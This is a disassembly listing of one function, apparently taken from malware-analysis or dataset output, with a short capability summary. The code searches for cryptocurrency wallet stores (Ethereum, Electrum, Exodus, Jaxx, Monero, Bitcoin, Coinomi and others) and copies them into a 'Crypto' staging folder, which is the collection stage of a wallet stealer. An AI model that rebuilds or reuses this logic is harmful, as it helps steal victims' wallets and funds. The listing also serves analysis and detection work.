Function at 0x4041fe
Capabilities:
Check if file exists
Copy file
Create directory
Delete directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x60c
mov eax, dword [0x5e2ec0]
xor eax, esp
mov dword [esp + 0x608], eax
push ebx
push esi
push edi
push 0x2ff
xor esi, esi
lea eax, [esp + 0x15]
push esi
push eax
mov byte [esp + 0x1c], 0
call fcn.0055bfc0
add esp, 0xc
push esi
mov dword [esp + 0x10], esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.Crypto
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
push str.Ethereumkeystore
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x4042a3
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x4042a3
push eax
push str.CryptoEthereum
call esi
test eax, eax
je 0x4042a3
lea eax, [esp + 0x10]
push str.CryptoEthereum
push eax
call fcn.00403868
pop ecx
pop ecx
mov dword [esp + 0xc], 1
mov esi, 0x300
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.Electrumwallets
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x404308
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x404308
push eax
push str.CryptoElectrum
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x404308
lea eax, [esp + 0x10]
push str.CryptoElectrum
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.Electrum_NMCwallets
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x404368
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x404368
push eax
push str.CryptoElectrum_NMC
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x404368
lea eax, [esp + 0x10]
push str.CryptoElectrum_NMC
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.com.liberty.jaxxindexedDB
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x4043c8
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x4043c8
push eax
push str.CryptoJaxx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4043c8
lea eax, [esp + 0x10]
push str.CryptoJaxx
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.Exodusexodus.wallet
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x404428
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x404428
push eax
push str.CryptoExodus
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x404428
lea eax, [esp + 0x10]
push str.CryptoExodus
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.FetchLocal_Storage
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x404488
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x404488
push eax
push str.CryptoFetch
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x404488
lea eax, [esp + 0x10]
push str.CryptoFetch
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.EidooElectron_storage
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x4044e8
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x4044e8
push eax
push str.CryptoEidoo
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4044e8
lea eax, [esp + 0x10]
push str.CryptoEidoo
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.MyCryptoLocal_Storage
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x404548
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x404548
push eax
push str.CryptoMyCrypto
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x404548
lea eax, [esp + 0x10]
push str.CryptoMyCrypto
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.Bitcoinwallets
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x4045a8
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x4045a8
push eax
push str.CryptoBitcoin
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4045a8
lea eax, [esp + 0x10]
push str.CryptoBitcoin
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.Coinomiwallet
push 0x5e9f58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4045fb
push 0
push str.CryptoCoinomi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push str.CryptoCoinomiwallet
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
inc dword [esp + 0xc]
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.GuardaLocal_Storage
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x40465b
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x40465b
push eax
push str.CryptoGuarda
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40465b
lea eax, [esp + 0x10]
push str.CryptoGuarda
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push str.Peercoinwallets
push 0x5e9c58
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x4046bb
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x4046bb
push eax
push str.CryptoPeercoin
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4046bb
lea eax, [esp + 0x10]
push str.CryptoPeercoin
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push 0x2ff
lea eax, [esp + 0x315]
push 0
push eax
mov byte [esp + 0x31c], 0
call fcn.0055bfc0
add esp, 0xc
lea eax, [esp + 0x310]
push eax
xor eax, eax
push eax
push eax
push 5
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str.Monerowallets
lea eax, [esp + 0x314]
push eax
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x404752
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x404752
push eax
push str.CryptoMonero
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x404752
lea eax, [esp + 0x10]
push str.CryptoMonero
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
push esi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [esp + 0x314]
push 0
push eax
call fcn.0055bfc0
add esp, 0xc
lea eax, [esp + 0x310]
push eax
xor eax, eax
push eax
push eax
push 0x28
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str..bitpay_appLocal_Storage
lea eax, [esp + 0x314]
push eax
lea eax, [esp + 0x18]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x4047de
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyA]
test eax, eax
jne 0x4047de
xor ebx, ebx
push ebx
mov edi, str.CryptoBitpay
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4047e0
lea eax, [esp + 0x10]
push edi
push eax
call fcn.00403868
inc dword [esp + 0x14]
pop ecx
pop ecx
jmp 0x4047e0
xor ebx, ebx
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ebx
push ebx
push 0x8028
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str.AppData
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [esp + 0xc]
add dword [0x5ea25c], esi
lea eax, [esp + 0x10]
push eax
call fcn.00403f9f
add esi, eax
pop ecx
jne 0x404836
push str.Crypto
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [esp + 0x614]
pop edi
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0055a67a
mov esp, ebp
pop ebp
ret